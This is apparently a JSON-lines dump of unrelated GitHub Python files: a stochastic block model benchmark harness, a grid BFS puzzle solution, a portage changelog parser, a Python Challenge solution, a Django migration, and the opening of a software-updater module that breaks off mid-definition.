self.save_memory)\n\n # extend packed results\n for short_key in raw_results:\n results_by_number_of_blocks = raw_results[short_key]\n for number_of_blocks in results_by_number_of_blocks:\n results[short_key[:-1] + (number_of_blocks,) + short_key[-1:]] = \\\n results_by_number_of_blocks[number_of_blocks]\n\n if add_results_to_internal_storage:\n for key in results:\n # key is equal to long key without counter\n if key not in self.results_of_all_executions:\n self.results_of_all_executions[key] = []\n self.results_of_all_executions[key].extend(results[key])\n\n # create new dictionary from returned information about keys with errors\n errors = {}\n for key in errors_raw:\n errors[key] = keyed_arguments[key]\n\n self._number_of_total_executions += number_of_times\n # delete temp files\n self._clean_temp_files()\n return results, errors\n\n def compare_results_with_ground_truth(self, with_zoom=True, evaluate_function=\"AMI_max\"):\n\n for key in self.results_of_all_executions:\n network_test = key[0]\n inference_class = key[1]\n evaluated_results = []\n for single_result in self.results_of_all_executions[key]:\n if issubclass(inference_class, sbm.HierarchicalInference):\n representation = single_result[0][0]\n if with_zoom:\n if len(single_result[0]) > 1:\n raw_partition = single_result[0]\n representation = {node:\n raw_partition[1][raw_partition[0][node]] for node in raw_partition[0]}\n else:\n representation = single_result[0]\n\n if evaluate_function == self.NORMALIZED_MUTUAL_INFORMATION:\n evaluated_results.append(\n network_test.compare_partition_with_ground_truth_nmi(SimplePartition(representation)))\n elif evaluate_function == self.ADJUSTED_MUTUAL_INFORMATION:\n evaluated_results.append(network_test.compare_partition_with_ground_truth_ami(representation))\n else:\n raise ValueError(\"No evaluate function with name\" + str(evaluate_function))\n self.evaluated_results[key] = evaluated_results\n return self.evaluated_results\n\n def calculate_random_nmi(self, number_of_random_partitions, compressed=True):\n if compressed:\n random_nmi = []\n for test in self.tests:\n random_nmi.extend(test.calculate_random_partition_nmi(number_of_random_partitions))\n else:\n random_nmi = {}\n for test in self.tests:\n random_nmi[test] = test.calculate_random_partition_nmi(number_of_random_partitions)\n\n return random_nmi\n\n\nclass ResultHandler:\n\n def __init__(self, results_of_executions):\n self.Combination = namedtuple('Combination', ['test', 'inference', 'objective'])\n self.FullKey = namedtuple('FullKey',\n ['test',\n 'inference',\n 'inference_creation_parameter',\n 'inference_execution_parameter',\n 'objective',\n 'objective_parameter',\n 'number_of_blocks',\n 'start_from_true_partition'])\n self.ModelSelectionKey = namedtuple('ModelSelectionKey',\n ['test', 'inference', 'objective', 'run_counter', 'model_selection_title'])\n self.Results = namedtuple('Results', ['representation',\n 'cpu_time',\n 'node_moves',\n 'calculated_deltas',\n 'objective_value'])\n\n self._results_of_executions = {}\n self._tests = []\n self._inference_classes = []\n self._objective_function_classes = []\n self._number_of_groups_per_combination = {}\n self._number_of_executions_per_combination = {}\n self._transformed_results_per_execution = {}\n self._results_per_execution = {}\n self.results_of_executions = results_of_executions\n\n @property\n def results_of_executions(self):\n return self._results_of_executions\n\n @property\n def tests(self):\n return self._tests\n\n @property\n def inference_classes(self):\n return self._inference_classes\n\n @property\n def objective_function_classes (self):\n return self._objective_function_classes\n\n @results_of_executions.setter\n def results_of_executions(self, results_of_executions):\n self._transformed_results_per_execution = {}\n self._results_per_execution = {}\n self._number_of_executions_per_combination = {}\n\n # determine present tests, inferences, objectives\n tests = set()\n inferences = set()\n objectives = set()\n for key in results_of_executions:\n new_key = self.FullKey(*key)\n network = new_key.test\n inference = new_key.inference\n objective = new_key.objective\n number_of_blocks = new_key.number_of_blocks\n start_from_true_partition = new_key.start_from_true_partition\n\n self._results_of_executions[new_key] = results_of_executions[key]\n\n tests.add(network)\n inferences.add(inference)\n objectives.add(objective)\n\n # care about number of groups per combination\n if not start_from_true_partition:\n short_key = self.Combination(network, inference, objective)\n\n if short_key not in self._number_of_groups_per_combination:\n self._number_of_groups_per_combination[short_key] = []\n self._number_of_executions_per_combination[short_key] = len(results_of_executions[key])\n elif self._number_of_executions_per_combination[short_key] != len(results_of_executions[key]):\n raise ValueError(\"Different number of executions!\")\n\n self._number_of_groups_per_combination[short_key].append(number_of_blocks)\n\n # transform to lists\n self._tests = list(tests)\n self._inference_classes = list(inferences)\n self._objective_function_classes = list(objectives)\n\n # sort number of groups per combination\n for short_key in self._number_of_groups_per_combination:\n self._number_of_groups_per_combination[short_key] = list(\n sorted(self._number_of_groups_per_combination[short_key]))\n\n def _transform_values_per_execution(self, test, inference, objective):\n short_key = self.Combination(test, inference, objective)\n\n if short_key in self._transformed_results_per_execution:\n return\n\n objective_function_values = []\n partition_representations = []\n\n objective_function_instance = objective(is_directed=test.network.is_directed())\n\n for number_of_groups in self._number_of_groups_per_combination[short_key]:\n key = self.FullKey(test, inference, None, None, objective, None, number_of_groups, False)\n\n for execution_counter, single_result in enumerate(self._results_of_executions[key]):\n if execution_counter == len(objective_function_values):\n objective_function_values.append({})\n partition_representations.append({})\n\n single_result = self.Results(*single_result)\n objective_function_values[execution_counter][number_of_groups] = single_result.objective_value\n partition_representations[execution_counter][number_of_groups] = single_result.representation\n\n # add partition in 1 block\n partition = sbm.NxPartition(test.network, number_of_blocks=1)\n one_block_value = objective_function_instance.calculate(partition)\n one_block_representation = partition.get_representation()\n for values in objective_function_values:\n values[1] = one_block_value\n for representations in partition_representations:\n representations[1] = one_block_representation\n\n self._transformed_results_per_execution[short_key] = (objective_function_values, partition_representations)\n\n def perform_model_selection(self, test, inference, objective, model_selection):\n short_key = self.Combination(test, inference, objective)\n\n self._transform_values_per_execution(test, inference, objective)\n\n objective_function_values, partition_representations = self._transformed_results_per_execution[short_key]\n\n # determine per run\n for run_counter in range(len(objective_function_values)):\n single_values = objective_function_values[run_counter]\n single_representations = partition_representations[run_counter]\n\n best_number_of_groups, value_of_best_group = model_selection.select_number_of_groups(\n test.network, single_values, single_representations)\n\n long_key = self.ModelSelectionKey(*(short_key + (run_counter, model_selection.title)))\n self._results_per_execution[long_key] = best_number_of_groups, value_of_best_group\n\n def perform_model_selection_for_all(self, tests=None, inferences=None, objectives=None, model_selections=None,\n with_output=False):\n\n total_number_of_selections = 1\n if tests is None:\n total_number_of_selections *= len(self._tests)\n else:\n total_number_of_selections *= len(tests)\n\n if inferences is None:\n total_number_of_selections *= len(self._inference_classes)\n else:\n total_number_of_selections *= len(inferences)\n\n if objectives is None:\n total_number_of_selections *= len(self._objective_function_classes)\n else:\n total_number_of_selections *= len(objectives)\n\n finished = 0\n\n for objective in self._objective_function_classes:\n if objectives is not None and objective not in objectives:\n continue\n\n _model_selections = sbm.get_possible_model_selection(objective)\n\n for test in self._tests:\n if tests is not None and test not in tests:\n continue\n\n for inference in self._inference_classes:\n if inferences is not None and inference not in inferences:\n continue\n\n for model_selection in _model_selections:\n if model_selections is not None and model_selection not in model_selections:\n continue\n\n self.perform_model_selection(test, inference, objective, model_selection)\n\n finished += 1\n\n if with_output and finished%100 == 0:\n print(round(finished/total_number_of_selections, 2), \"completed\")\n\n def get_selected_representations(self, test, inference, objective, model_selection=None, run_counter=None):\n if run_counter is not None:\n if model_selection is None:\n model_selections = sbm.get_possible_model_selection(objective)\n\n if len(model_selections) > 1:\n raise ValueError(\"Model Selection not unique\")\n\n model_selection = model_selections[0]\n\n long_key = self.ModelSelectionKey(test, inference, objective, run_counter, model_selection.title)\n selected_number_of_groups, model_selection_value = self._results_per_execution[long_key]\n\n short_key = self.Combination(test, inference, objective)\n return self._transformed_results_per_execution[short_key][1][run_counter][selected_number_of_groups]\n else:\n raise NotImplementedError()\n\n\n# @formatter:off\nclass SingleNetworkSupplier:\n KARATE_CLUB_INFORMATION = \"karate club graph\"\n PLANTED_PARTITION_INFORMATION = \"planted partition, nodes, P_in, P_out \"\n STOCHASTIC_BLOCKMODEL_INFORMATION = \"stochastic block model, nodes, edge matrix \"\n LFR_INFORMATION = \"mixing parameter, network instance\"\n\n REAL_NETWORK_DATA_FOLDER = \"Network Data\"\n REAL_NETWORK_BLOCK_INFORMATION = \"value\"\n\n FOOTBALL_SUB_PATH = \"football/football.gml\"\n FOOTBALL_INFORMATION = \"football\"\n\n FOOTBALL_CORRECTED_SUB_PATH = \"football_corrected/footballTSEinput.gml\"\n FOOTBALL_CORRECTED_INFORMATION = \"football corrected\"\n\n POLITICAL_BLOGS_SUB_PATH = \"polblogs/polblogs.gml\"\n POLITICAL_BLOGS_INFORMATION = \"polblogs\"\n\n POLITICAL_BO0KS_SUB_PATH = \"polbooks/polbooks.gml\"\n POLITICAL_BO0KS_INFORMATION = \"polbooks\"\n\n @staticmethod\n def create_karate_club_test():\n karate_club = nx.karate_club_graph()\n true_partition = {}\n for node in karate_club:\n if karate_club.node[node]['club'] == 'Mr. Hi':\n true_partition[node] = 1\n else:\n true_partition[node] = 0\n information = SingleNetworkSupplier.KARATE_CLUB_INFORMATION\n return SingleNetworkTest(karate_club, true_partition, information)\n\n @staticmethod\n def create_test_with_the_planted_partition_model(number_of_groups, number_of_vertices_in_each_group,\n edge_probability_in_group, edge_probability_between_groups):\n planted_partition_generator = PlantedPartitionGenerator(number_of_groups, number_of_vertices_in_each_group,\n edge_probability_in_group,\n edge_probability_between_groups)\n planted_partition_graph, number_of_blocks, returned_ground_truth = planted_partition_generator.generate(\n directed=False, seed=42)\n nodes_in_groups = [number_of_vertices_in_each_group for _ in range(number_of_groups)]\n information = [SingleNetworkSupplier.PLANTED_PARTITION_INFORMATION, nodes_in_groups, edge_probability_in_group,\n edge_probability_between_groups]\n return SingleNetworkTest(planted_partition_graph, returned_ground_truth, information)\n\n @staticmethod\n def create_test_with_the_stochastic_block_model(number_of_blocks, nodes_per_block, edge_matrix,\n type_of_edge_matrix, is_directed_edge_matrix):\n sbm_generator = SBMGenerator(number_of_blocks, nodes_per_block, edge_matrix, type_of_edge_matrix,\n is_directed_edge_matrix)\n sbm_graph, number_of_blocks, returned_ground_truth = sbm_generator.generate(directed=False, seed=42)\n information = [SingleNetworkSupplier.STOCHASTIC_BLOCKMODEL_INFORMATION, nodes_per_block, edge_matrix]\n return SingleNetworkTest(sbm_graph, returned_ground_truth, information)\n\n @staticmethod\n def create_tests_for_girvan_newman_benchmark(number_of_networks=10, directed=False):\n p_out = [0, .5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8]\n p_in = []\n for i in range(len(p_out)):\n if directed:\n p_out[i] = p_out[i] * 128 / (2 * 6 * 32 * 32)\n p_in.append((128 * 4 - p_out[i] * 2 * 6 * 32 * 32) / (32 * 32))\n else:\n p_out[i] = p_out[i] * 128 / (2 * 6 * 32 * 32)\n p_in.append((128 * 16 - p_out[i] * 2 * 6 * 32 * 32) / (4 * 32 * 33))\n\n list_of_tests = []\n for i in range(len(p_in)):\n planted_partition_generator = PlantedPartitionGenerator(4, 32, p_in[i], p_out[i])\n for j in range(number_of_networks):\n planted_partition_graph, number_of_blocks, returned_ground_truth = planted_partition_generator.generate(\n directed=False, seed=j)\n information = [SingleNetworkSupplier.PLANTED_PARTITION_INFORMATION,\n [32, 32, 32, 32], j, p_in[i], p_out[i]]\n list_of_tests.append(SingleNetworkTest(planted_partition_graph, returned_ground_truth, information))\n return list_of_tests\n\n @staticmethod\n def create_tests_for_girvan_newman_benchmark_extended(number_of_networks=10, directed=False):\n \"\"\"\"Includes extended P_out range\"\"\"\n p_out = [0, .5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9.0, 9.5, 10, 10.5,\n 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16]\n p_in = []\n for i in range(len(p_out)):\n if directed:\n p_out[i] = p_out[i] * 128 / (2 * 6 * 32 * 32)\n p_in.append((128 * 4 - p_out[i] * 2 * 6 * 32 * 32) / (32 * 32))\n else:\n p_out[i] = p_out[i] * 128 / (2 * 6 * 32 * 32)\n p_in.append((128 * 16 - p_out[i] * 2 * 6 * 32 * 32) / (4 * 32 * 33))\n\n list_of_tests = []\n for i in range(len(p_in)):\n planted_partition_generator = PlantedPartitionGenerator(4, 32, p_in[i], p_out[i])\n for j in range(number_of_networks):\n planted_partition_graph, number_of_blocks, returned_ground_truth = planted_partition_generator.generate(\n directed=False, seed=j)\n information = [SingleNetworkSupplier.PLANTED_PARTITION_INFORMATION,\n [32, 32, 32, 32], j, p_in[i], p_out[i]]\n list_of_tests.append(SingleNetworkTest(planted_partition_graph, returned_ground_truth, information))\n return list_of_tests\n\n @staticmethod\n def create_lfr_benchmark_tests(folder_path, mixing_parameters, number_of_networks, read_networks_starting_with=0):\n \"\"\"\n Read data from files created by C++ program and create SingleNetworkTest from the network\n and community information\n :param folder_path: path to folder with different files\n :param mixing_parameters: iterable with identifier of mixing parameters\n :param number_of_networks: how many different instances per mixing parameter where generated\n :param read_networks_starting_with: add networks instances starting from this number\n :return: list of SingleNetworkTest\n \"\"\"\n community_file_init = \"community\"\n network_file_init = \"network\"\n file_ending = \".dat\"\n\n tests = []\n for mixing_parameter in mixing_parameters:\n for network_counter in range(read_networks_starting_with, read_networks_starting_with + number_of_networks):\n community_file_path = folder_path + \"/\" + community_file_init \\\n + \"_\" + str(mixing_parameter) + \"_\" + str(network_counter) + file_ending\n network_file_path = folder_path + \"/\" + network_file_init \\\n + \"_\" + str(mixing_parameter) + \"_\" + str(network_counter) + file_ending\n\n try:\n tests.append(SingleNetworkSupplier.create_singe_lfr_test_case(\n network_file_path, community_file_path,\n information=[SingleNetworkSupplier.LFR_INFORMATION, mixing_parameter, network_counter]))\n except AssertionError:\n print(\"Error at\", network_file_path, community_file_path)\n break\n\n return tests\n\n @staticmethod\n def create_singe_lfr_test_case(network_file_path, community_file_path, information=None):\n # read graph\n graph = nx.Graph()\n with open(network_file_path) as network_file:\n for line in csv.reader(network_file, delimiter=\"\\t\"):\n assert len(line) == 2\n # cast to int and make node numbers in the range 0 to N-1\n graph.add_edge(int(line[0]) - 1, int(line[1]) - 1)\n\n # read true community\n true_partition = {}\n with open(community_file_path) as community_file:\n for line in csv.reader(community_file, delimiter=\"\\t\"):\n assert len(line) == 2\n true_partition[int(line[0]) - 1] = int(line[1]) - 1\n\n return SingleNetworkTest(graph, true_partition, information=information)\n\n @staticmethod\n def create_real_network_tests(include_football=True,\n include_corrected_football=True,\n include_political_blogs=True,\n include_political_books=True,\n return_largest_weakly_connected_component=True\n ):\n tests = []\n\n if include_football:\n file_path = SingleNetworkSupplier.REAL_NETWORK_DATA_FOLDER + \"/\" + SingleNetworkSupplier.FOOTBALL_SUB_PATH\n try:\n read_graph = nx.read_gml(file_path)\n except FileNotFoundError:\n print(\"\"\"\"No football data found. Please download the file from the internet, e.g. \n http://www-personal.umich.edu/~mejn/netdata/ \"\"\")\n raise\n\n # already connected graph\n\n # create true partition\n representation = {}\n for node, block in read_graph.nodes(data=SingleNetworkSupplier.REAL_NETWORK_BLOCK_INFORMATION):\n if block is None:\n raise ValueError(\"Read football network miss block information of node\" + str(node))\n representation[node] = block\n\n tests.append(SingleNetworkTest(read_graph,\n representation,\n information=SingleNetworkSupplier.FOOTBALL_INFORMATION))\n\n if include_corrected_football:\n file_path = SingleNetworkSupplier.REAL_NETWORK_DATA_FOLDER + \"/\" \\\n + SingleNetworkSupplier.FOOTBALL_CORRECTED_SUB_PATH\n try:\n read_graph = nx.read_gml(file_path)\n except FileNotFoundError:\n print(\"\"\"\"No corrected football data found. The author of \n `Clique Graphs and Overlapping Communities` has the file on his website \"\"\")\n raise\n\n # already connected graph\n\n # create true partition\n representation = {}\n for node, block in read_graph.nodes(data=SingleNetworkSupplier.REAL_NETWORK_BLOCK_INFORMATION):\n if block is None:\n raise ValueError(\"Read football network miss block information of node\" + str(node))\n representation[node] = block\n\n tests.append(SingleNetworkTest(read_graph,\n representation,\n information=SingleNetworkSupplier.FOOTBALL_CORRECTED_INFORMATION))\n\n if include_political_blogs:\n file_path = SingleNetworkSupplier.REAL_NETWORK_DATA_FOLDER + \"/\" \\\n + SingleNetworkSupplier.POLITICAL_BLOGS_SUB_PATH\n try:\n read_graph = nx.read_gml(file_path)\n except nx.NetworkXError:\n print(\"Insert multigraph 1 in the header! We will cast it to a normal directed graph later.\")\n raise\n except FileNotFoundError:\n print(\"\"\"\"No political blocks data found. Please download the file from the internet, e.g. \n http://www-personal.umich.edu/~mejn/netdata/ \"\"\")\n raise\n\n graph = nx.Graph(read_graph)\n\n if return_largest_weakly_connected_component:\n graph = graph.subgraph(max(nx.connected_components(graph), key=len)).copy()\n\n # create true partition\n representation = {}\n for node, block in graph.nodes(data=SingleNetworkSupplier.REAL_NETWORK_BLOCK_INFORMATION):\n if block is None:\n raise ValueError(\"Read political blogs network miss block information of node\" + str(node))\n representation[node] = block\n\n tests.append(SingleNetworkTest(graph,\n representation,\n information=SingleNetworkSupplier.POLITICAL_BLOGS_INFORMATION))\n\n graph = nx.DiGraph(read_graph)\n if return_largest_weakly_connected_component:\n graph = graph.subgraph(max(nx.weakly_connected_components(graph), key=len)).copy()\n\n tests.append(SingleNetworkTest(graph,\n representation,\n information=\"directed \" + SingleNetworkSupplier.POLITICAL_BLOGS_INFORMATION))\n\n if include_political_books:\n file_path = SingleNetworkSupplier.REAL_NETWORK_DATA_FOLDER + \"/\" \\\n + SingleNetworkSupplier.POLITICAL_BO0KS_SUB_PATH\n try:\n read_graph = nx.read_gml(file_path)\n except FileNotFoundError:\n print(\"\"\"\"No political books data found. Please download the file from the internet, e.g. \n http://www-personal.umich.edu/~mejn/netdata/ \"\"\")\n raise\n\n # graph is connected...\n\n # create true partition\n representation = {}\n for node, block in read_graph.nodes(data=SingleNetworkSupplier.REAL_NETWORK_BLOCK_INFORMATION):\n if block is None:\n raise ValueError(\"Read political books network miss block information of node\" + str(node))\n # correct coding to number\n if block == 'l':\n # liberal\n block = 0\n elif block == \"n\":\n # neutral\n block = 1\n elif block == 'c':\n # conservative\n block = 2\n representation[node] = block\n\n tests.append(SingleNetworkTest(read_graph,\n representation,\n information=SingleNetworkSupplier.POLITICAL_BO0KS_INFORMATION))\n return tests\n","repo_name":"biomed-AI/MolRep","sub_path":"MolRep/Interactions/link_models/CFLP/pysbm/test_ground_new.py","file_name":"test_ground_new.py","file_ext":"py","file_size_in_byte":74384,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"62"} +{"seq_id":"29135418439","text":"from collections import deque\r\n\r\nN, M, T = map(int, input().split())\r\ncastle = [list(map(int, input().split())) for _ in range(N)]\r\ntime = 10**5\r\n\r\nvisited = [[False for _ in range(M)] for _ in range(N)]\r\nq = deque([(0, 0, 0)])\r\nwhile q:\r\n r, c, t = q.popleft()\r\n visited[r][c] = True\r\n\r\n for dr, dc in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\r\n nxt_r, nxt_c = r + dr, c + dc\r\n if 0 <= nxt_r < N and 0 <= nxt_c < M and not visited[nxt_r][nxt_c] and castle[nxt_r][nxt_c] in [0, 2]:\r\n if castle[nxt_r][nxt_c] == 2:\r\n time = min(time, (t + 1) + (N-1)-nxt_r + (M-1)-nxt_c)\r\n elif nxt_r == N-1 and nxt_c == M-1:\r\n time = min(time, t+1)\r\n else:\r\n q.append((nxt_r, nxt_c, t+1))\r\n visited[nxt_r][nxt_c] = True\r\n\r\nprint(time if time <= T else \"Fail\")\r\n","repo_name":"kaki1013/Allim","sub_path":"대회준비_스터디/2021-summer/5회차_Round13/4_17836.py","file_name":"4_17836.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"576514363","text":"import codecs\nimport re\n\nimport portage\nfrom portage import os\nfrom portage import _encodings\nfrom portage import _unicode_encode\n\ndef calc_changelog(ebuildpath,current,next):\n\tif ebuildpath == None or not os.path.exists(ebuildpath):\n\t\treturn []\n\tcurrent = '-'.join(portage.catpkgsplit(current)[1:])\n\tif current.endswith('-r0'):\n\t\tcurrent = current[:-3]\n\tnext = '-'.join(portage.catpkgsplit(next)[1:])\n\tif next.endswith('-r0'):\n\t\tnext = next[:-3]\n\tchangelogpath = os.path.join(os.path.split(ebuildpath)[0],'ChangeLog')\n\ttry:\n\t\tchangelog = codecs.open(_unicode_encode(changelogpath,\n\t\t\tencoding=_encodings['fs'], errors='strict'),\n\t\t\tmode='r', encoding=_encodings['repo.content'], errors='replace'\n\t\t).read()\n\texcept SystemExit as e:\n\t\traise # Needed else can't exit\n\texcept:\n\t\treturn []\n\tdivisions = _find_changelog_tags(changelog)\n\t#print 'XX from',current,'to',next\n\t#for div,text in divisions: print 'XX',div\n\t# skip entries for all revisions above the one we are about to emerge\n\tfor i in range(len(divisions)):\n\t\tif divisions[i][0]==next:\n\t\t\tdivisions = divisions[i:]\n\t\t\tbreak\n\t# find out how many entries we are going to display\n\tfor i in range(len(divisions)):\n\t\tif divisions[i][0]==current:\n\t\t\tdivisions = divisions[:i]\n\t\t\tbreak\n\telse:\n\t # couldnt find the current revision in the list. display nothing\n\t\treturn []\n\treturn divisions\n\ndef _find_changelog_tags(changelog):\n\tdivs = []\n\trelease = None\n\twhile 1:\n\t\tmatch = re.search(r'^\\*\\ ?([-a-zA-Z0-9_.+]*)(?:\\ .*)?\\n',changelog,re.M)\n\t\tif match is None:\n\t\t\tif release is not None:\n\t\t\t\tdivs.append((release,changelog))\n\t\t\treturn divs\n\t\tif release is not None:\n\t\t\tdivs.append((release,changelog[:match.start()]))\n\t\tchangelog = changelog[match.end():]\n\t\trelease = match.group(1)\n\t\tif release.endswith('.ebuild'):\n\t\t\trelease = release[:-7]\n\t\tif release.endswith('-r0'):\n\t\t\trelease = release[:-3]\n","repo_name":"TommyD/gentoo-portage-multilib","sub_path":"pym/_emerge/changelog.py","file_name":"changelog.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"33030339468","text":"# http://www.pythonchallenge.com/pc/ring/bell.html\n# Picture of jungle\n# Description 'RING-RING-RING say it out loud'\n# Go to http://www.pythonchallenge.com/pc/ring/green.html\n# Content 'yes! green!'\n\nfrom PIL import Image\n\n# Open image downloaded from web page\nim = Image.open('./resource/bell.png')\n\n# Get green values\ngreen = list(im.split()[1].getdata())\n# Green values has light and dark alternating\n\n# Get difference every two values\ndiff = [abs(a - b) for a, b in zip(green[0::2], green[1::2])]\n# Most of green values has light and dark different by 42\n\n# Filter out only the non 42 values\nfiltered = list(filter(lambda x: x != 42, diff))\n\n# Print out different values as decoded bytes\nprint(bytes(filtered).decode())\n# 'whodunnit().split()[0] ?'\n# Python developer: 'Guido van Rossum'\n# Answer: guido\n","repo_name":"QuanDo2000/programming-exercises","sub_path":"python-challenge/level28.py","file_name":"level28.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7745875363","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('core', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Timer',\n fields=[\n ('id', models.AutoField(verbose_name='ID', auto_created=True, primary_key=True, serialize=False)),\n ('type', models.IntegerField(choices=[(0, 'Pomodoro'), (1, 'ShortBreak'), (2, 'LongBreak')], verbose_name='Tipo')),\n ('created_at', models.DateTimeField(verbose_name='Criado em', auto_now_add=True)),\n ('user', models.ForeignKey(verbose_name='Usuário', related_name='Pomodoros', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.RemoveField(\n model_name='pomodoro',\n name='user',\n ),\n migrations.DeleteModel(\n name='Pomodoro',\n ),\n ]\n","repo_name":"wagnertrindades/pomopro","sub_path":"project/core/migrations/0002_auto_20151029_0029.py","file_name":"0002_auto_20151029_0029.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42640536699","text":"from __future__ import print_function\nfrom __future__ import division\nimport copy\nimport json\nimport os\nimport platform\nimport shutil\nimport sys\nimport time\nimport tempfile\nimport base64\nimport zlib\nimport zipfile\n\nfrom pprint import pformat\n\nMOREWEB_SUBMODULE_DIR = os.path.dirname(os.path.realpath(__file__))\nMODULE_DIR = os.path.dirname(MOREWEB_SUBMODULE_DIR)\nREPO_DIR = os.path.dirname(MODULE_DIR)\n\n# if __name__ == \"__main__\":\n# sys.path.insert(0, REPO_DIR)\n\n\nfrom hierosoft import (\n echo0,\n echo1,\n echo2,\n get_file_names,\n get_installed_bin,\n get_subdir_names,\n get_missing_paths,\n # HOME,\n USER_PROGRAMS,\n CACHES,\n ASSETS_DIR,\n which_python,\n join_if_exists,\n)\nfrom hierosoft.ggrep import (\n contains_any,\n)\n\nfrom hierosoft.moreplatform import (\n # install_zip,\n # make_shortcut,\n install_archive,\n subprocess,\n)\n\nfrom hierosoft.moreweb import (\n name_from_url,\n STATUS_DONE,\n get_python_download_spec,\n URLError,\n)\n\nfrom hierosoft.moreweb.downloadmanager import DownloadManager\n\nfrom hierosoft.hierosoftpacked import (\n sources_json,\n # transparent_png,\n # hierosoft_16px_png,\n white_png,\n)\n\n\nenable_tk = False\n\n\ntry:\n if sys.version_info.major >= 3: # try:\n from tkinter import messagebox\n from tkinter import filedialog\n from tkinter import simpledialog\n # ^ such as name = simpledialog.askstring('Name',\n # 'What is your name?')\n import tkinter as tk\n import tkinter.font as tkFont\n from tkinter import ttk\n # from tkinter import tix\n else: # except ImportError:\n # Python 2\n import tkMessageBox as messagebox\n import tkFileDialog as filedialog\n import tkSimpleDialog as simpledialog\n import Tkinter as tk\n import tkFont\n import ttk\n # import Tix as tix\n enable_tk = True\nexcept ImportError as ex:\n echo0(\"Error: You must install python3-tk (%s)\" % ex)\n sys.exit(1)\n\n\ndef i_am_static_build():\n prefix = \"[i_am_static_build] \"\n nearby_init = os.path.join(MOREWEB_SUBMODULE_DIR, \"__init__.py\")\n if not os.path.isfile(nearby_init):\n echo0(prefix+\"Not static: no %s\" % pformat(nearby_init))\n return False\n # If it exists, it still may be just a random file on the desktop,\n # so check if I am myself *and* in the real directory:\n self_py = os.path.realpath(__file__)\n expected_self_py = os.path.join(\n MOREWEB_SUBMODULE_DIR,\n \"hierosoftupdate.py\",\n )\n if self_py != expected_self_py:\n echo0(prefix+\"Not static: Executing script %s is not %s\"\n % (pformat(self_py), pformat(expected_self_py)))\n return False\n mydir_name = os.path.basename(MOREWEB_SUBMODULE_DIR)\n expected_mydir_name = \"moreweb\"\n if mydir_name != expected_mydir_name:\n echo0(prefix+\"Not static: %s's directory %s is not %s\"\n % (pformat(__file__),\n pformat(mydir_name),\n pformat(expected_mydir_name)))\n return False\n module_dir_name = os.path.basename(MODULE_DIR)\n expected_module_dir_name = \"hierosoft\"\n if module_dir_name != expected_module_dir_name:\n echo0(prefix+\"Not static: %s's parent directory %s is not %s\"\n % (pformat(mydir_name),\n pformat(module_dir_name),\n pformat(expected_module_dir_name)))\n return False\n echo0(prefix+\"Yes\")\n return True\n\n\nclass HierosoftUpdate(object):\n \"\"\"Install the rest of hierosoft.\n Args:\n parent: (ignored) reserved for sub-classes or alike-classes.\n root: (ignored) reserved for sub-classes or alike-classes.\n options (dict): a download spec\n \"\"\"\n NO_WEB_MSG = \"Couldn't launch web update nor find downloaded copy.\"\n HELP = {\n 'title': \"Set the window title for the updater.\",\n 'platforms': (\n \"A dictionary of platforms where the key can be any\"\n \" platform.system() value such as Linux, Windows, or Darwin\"\n \" and the value of each is the substring in the filename\"\n \" for that platform. Example:\"\n \" platforms={'Linux':\\\"linux\\\", 'Windows':\\\"windows\\\",\"\n \" 'Darwin':\\\"macos\\\"}. The only value of the\"\n \" current platform will be set as the entry box value used\"\n \" by the DownloadManager.\"\n ),\n 'architectures': (\n \"A dictionary of architectures where the key can be any\"\n \" platform.system() value such as Linux, Windows, or Darwin\"\n \" and the value of each is the substring in the filename\"\n \" for that platform. Example:\"\n \" platforms={'Linux':\\\"x64\\\", 'Windows':\\\"x64\\\",\"\n \" 'Darwin':[\\\"x64\\\", \\\"arm64\\\"]}. The only value of the\"\n \" current platform will be set as the entry box value used\"\n \" by the DownloadManager.\"\n ),\n }\n\n def __init__(self, parent, root, options, status_var=None):\n # For docstring see class.\n self.root = None\n # region for d_done\n # TODO: Move all/most of these to a new DownloadJob class?\n self.auto_column = 0\n self.auto_row = 0\n self.download_done = False\n self.archive_path = None\n self.enable_install = None\n self.remove_download = None\n self.luid = None\n self.programs = USER_PROGRAMS\n self.installed_path = None\n self.action = None\n self.uninstall = None # TODO: move this to the event\n self.meta = None\n self.update_past_verb = None\n self.update_present_verb = None\n self.action_present_verb = None\n # endregion for d_done\n\n self.options = {} # gathers *relevant* values from options\n # (See get_option_keys & set_options call below).\n\n self.best_python = which_python()\n # ^ Even if not i_am_static_build(), a Python is useful\n # for running downloaded applications.\n self.urls = None\n self.count_label = None\n self.refresh_btn = None\n self.dl_buttons = []\n self.msg_labels = []\n self.events = []\n self.pbar = None\n self.statusVar = None # main should set if it uses a GUI subclass.\n self.startup_message = None\n self.news = None\n\n self.v_urls = None # urls matching specified Blender version (tag)\n self.p_urls = None # urls matching specified platform flag\n self.a_urls = None # urls matching specified architecture\n self.option_entries = {}\n self.mgr = DownloadManager()\n self.set_all_options(options, True, require_bin=False)\n # ^ sets *relevant* keys on self, mgr, parser\n title = self.options.get('title')\n if title is not None:\n echo0(\"Initializing %s\" % title)\n\n def set_luid(self, luid):\n if luid is None:\n raise ValueError(\"LUID (program dirname) is None.\")\n if \" \" in luid:\n raise ValueError(\"LUID (program dirname) cannot contain spaces.\")\n self.luid = luid\n\n @property\n def luid_dir(self):\n return 